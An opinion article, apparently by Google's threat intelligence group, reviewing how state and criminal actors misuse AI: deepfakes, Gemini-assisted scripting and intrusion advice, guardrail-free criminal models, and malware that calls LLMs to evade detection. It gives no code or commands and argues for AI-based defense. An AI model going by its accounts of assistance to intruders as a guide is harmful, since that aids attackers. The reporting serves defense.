OPINION — The use of artificial intelligence by adversaries has been the subject of exhaustive speculation. No one doubts that the technology will be abused by criminals and state actors, but it can be difficult to separate the hype from reality. Leveraging our unique visibility, Google Threat Intelligence Group (GTIG) has been able to track the use of AI by threat actors, but the pace of change has made it challenging to even forecast the near future. However, we are now seeing signs of new evolutions in adversary use, and hints at what may lie ahead in the near future. Most importantly though, there are opportunities for defensive AI to help us manage these future threats.
Evolution Thus Far
Over the course of the last eight years, GTIG has observed AI-enabled activity evolve from a novel party trick to a staple tool in threat actors’ toolbelts. In the early days, we detected malicious actors embracing the nascent technology to enhance their social engineering capabilities and uplift information operations campaigns. The ability to fabricate fake text, audio, and video was quickly abused by threat actors. For instance, several adversaries use GAN images of people that don’t exist to create fake personas online for social engineering or information operations campaigns (this negates the use of real photos in these operations, which could often be foiled when the photo was researched). A poor deepfake of Volodymyr Zelensky was created in an effort to convince Ukrainians that he had capitulated in the early hours of the full scale Russian invasion in 2022. Additionally, deepfakes have been reportedly used in state and criminal activity.
By investigating adversary use of Gemini we have some additional insight into how AI is being leveraged. We have observed threat actors using Gemini to help them with a variety of tasks like conducting research and writing code. Iranian actors have used it for help with error messages and creating python code for website scraping. They have also used it to research vulnerabilities as well as the military and government organizations they are targeting. North Korean actors have also tried to use Gemini for help with scripting, payload development, and evading defenses. Additionally, DPRK IT workers use AI to create resumes and fake identities.
One of the most interesting uses of Gemini by threat actors has been enabling deeper access during intrusions. In these cases, China-nexus cyber espionage actors appear to reach a certain juncture in an intrusion where they need technical advice on how best to execute the next step. To that end, they have sought guidance on problems like how to record passwords on the VMware vCenter or how to sign a plugin for Microsoft Outlook and silently deploy it from their position inside a network.
Gemini is not an ideal tool for threat actors, however, since guardrails are in place to prevent its abuse, foiling many of their use cases. Unfortunately, the criminal marketplace now offers their own models and related tools that are unhindered by guardrails and purpose-built for malicious activity. There are now several mature tools that offer help with tasks like malware development, phishing, and vulnerability exploitation. A common theme in these tools is the ability to boost the efforts of less technically skilled actors.
While some of these AI use cases are novel (like deepfakes) most were previously available through other means or could be obtained with sufficient resources. Pictures could be edited, social engineering emails could be translated, and skills could be learned the old fashioned way. Until recently, we had not seen many potentially game changing use cases.
While we had previously seen some experimental samples, AI-enhanced malware has only just begun to be adopted by threat actors, and there is some evidence it may be a useful means of avoiding detection. Nevertheless, there is also reason to be optimistic about the prospects of using AI to prevent this type of activity. This August, malware that leverages an LLM was used in Ukraine by the Russian cyber espionage actor APT28. It called out to an open source LLM through API to create commands on the fly and evade static detection. We saw a variation on this theme recently by another actor as part of the NPM supply chain incidents. That malware used LLM command line interfaces on the victims machine to stay beneath the radar. In the latter case, no security vendors flagged the malware as malicious in VirusTotal, but interestingly it was flagged as a “severe security threat” by VirusTotal’s Code Insight feature, an LLM capability itself. As AI-enhanced malware becomes more commonplace we will get a better understanding of what it takes to stop it and how relevant AI will be to addressing it.
The Cipher Brief brings expert-level context to national and global security stories. It’s never been more important to understand what’s happening in the world. Upgrade your access to exclusive content by becoming a subscriber.
Imminent Capabilities
In addition to AI-enhanced malware there are two additional AI use cases that we expect threat actors to adopt imminently: novel vulnerability discovery and automated intrusion activity. While there are still scant signs of adversary use of these capabilities, there are corresponding capabilities in use and under development by defenders that prove they are possible. Furthermore, we do not expect the use of these capabilities to be wholly transparent. Due to constraints, adversaries are unlikely to use mainstream public models for these purposes, denying us a means of observing their adoption.
AI’s ability to discover previously unknown vulnerabilities in software has now been well-established by several defensive efforts designed to identify these flaws before adversaries. Google’s own BigSleep, an AI agent purpose-built for this task, has uncovered over 20 vulnerabilities leading to pre-emptive patching. In two cases Big Sleep was used in conjunction with intelligence to uncover zero-day vulnerabilities as adversaries staged them for attacks.
Unfortunately BigSleep and similar efforts offer tangible proof of a capability that can and will almost certainly be abused by adversaries to discover and exploit zero-day vulnerabilities. Zero-days are a boon for threat actors who will target researchers, infiltrate tech companies, and spend lavishly to uncover them. The clear opportunity to use LLMs will not have been lost on state actors who have the resources to carry out research and development in this area.
Another prospective use of agentic AI is the automation of intrusion activity. This capability was presaged by the aforementioned China-nexus cyber espionage operators who asked Gemini during active intrusions for help. The application of agentic technology to this use case is somewhat obvious: an agent that can leverage this help automatically to transit targeted networks and accomplish the intrusion’s objectives without the operator’s direct intervention. There are already numerous efforts to build these capabilities for defense and at least one related open source effort has been the subject of discussion in the criminal underground.
These developments could radically change the challenge facing defenders. Without compensating with proactive use of AI to find vulnerabilities, we can expect the scale of the zero-day problem to grow significantly as adversaries adopt the technology for this purpose. Automated intrusion activity will likely affect the scale of activity defenders are facing as well, as humans are replaced by multiple agents. This activity will be faster as well. Agents will be able to react more quickly to zero-days or discover short-term weaknesses in defenses.
In both cases, AI offers the clearest solution for defenders. BigSleep and similar solutions will be necessary to uncover vulnerabilities faster than adversaries, seizing the initiative. In the same vein, Google has just released details of an agent called CodeMender that can automatically fix vulnerabilities and improve code security. Agentic solutions may also be the best solution to automated intrusion activity: without this technology we will struggle to move as quickly or handle the deluge of attacks.
Implications
The pace of AI adoption by adversaries will be determined by resources at their disposal and the opportunity the technology enables. The most sophisticated actors will not dawdle in adopting these capabilities, but their activity, as always, will be the most difficult to observe. To prepare wisely we will have to anticipate their activity and begin taking action now. Cyberdefenders will have to reach the same conclusion that has already been reached in other fields of conflict: the solution to an AI-powered offense is an AI-powered defense.
Who’s Reading this? More than 500K of the most influential national security experts in the world. Need full access to what the Experts are reading?
Read more expert-driven national security insights, perspective and analysis in The Cipher Briefbecause National Security is Everyone’s Business.
